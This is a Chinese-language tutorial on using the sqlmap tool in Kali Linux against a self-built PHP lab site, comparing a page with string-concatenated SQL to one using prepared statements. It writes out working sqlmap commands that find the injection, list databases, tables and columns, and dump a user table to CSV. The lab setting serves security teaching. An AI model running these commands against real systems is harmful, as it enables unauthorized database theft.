手动SQL注入攻击需要我们对SQL语言有着透彻的理解,而且手动也是比较麻烦和反直觉的。sqlmap
是一个自动化的SQL注入工具,我们可以直接使用该工具快速检测和进行SQL注入攻击。
这里我们使用PHP搭建了一个网站,其中user_list.php
页面的表单存在SQL注入漏洞,而user_list_safe.php
页面的表单不存在SQL注入漏洞。简单来说,不安全的页面中使用了字符串拼接的方式进行SQL语句查询,而安全的页面采用预编译SQL语句的方式执行SQL查询。
Kali Linux自带了sqlmap
工具,我们直接使用即可。首先我们可以使用--help
查看工具支持哪些参数:
sqlmap --help
user_list.php
页面包含一个使用POST请求的表单,我们直接使用sqlmap
对其进行检测:
sqlmap --url 'http://192.168.1.131/user_list.php' --forms
其中--forms
参数表示sqlmap
工具会自动根据页面上的HTML识别表单POST应该提交的字段信息,如果我们需要手动指定请求参数,可以通过--data
参数指定,例如:sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr"
。
经过一阵自动化的注入测试,很快sqlmap
就返回了识别到的完整信息,从图中可以看到该服务端使用的是PHP8.1,MySQL版本高于5.6,且测试的接口存在SQL注入漏洞。
而我们测试另一个安全的页面user_list_safe.php
则会返回以下信息,所有针对username
字段的SQL注入攻击均失败。
sqlmap
可以自动构造SQL注入payload,如果被攻击的系统存在SQL注入漏洞,我们就可以尝试获取数据库元信息,甚至直接下载整个数据库。
sqlmap --url 'http://192.168.1.131/user_list.php' --forms --dbs
sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore --tables
sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore -T t_user --columns
sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore -T t_user --dump
此外我们也可以将数据导出到文件中,下面例子我们将数据以CSV格式保存在了/home/kali
文件夹下。
sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore -T t_user --dump --dump-format=CSV --output-dir=/home/kali
执行命令后sqlmap
会在对应路径下创建一个域名同名的文件夹,里面包含日志、dump数据等信息。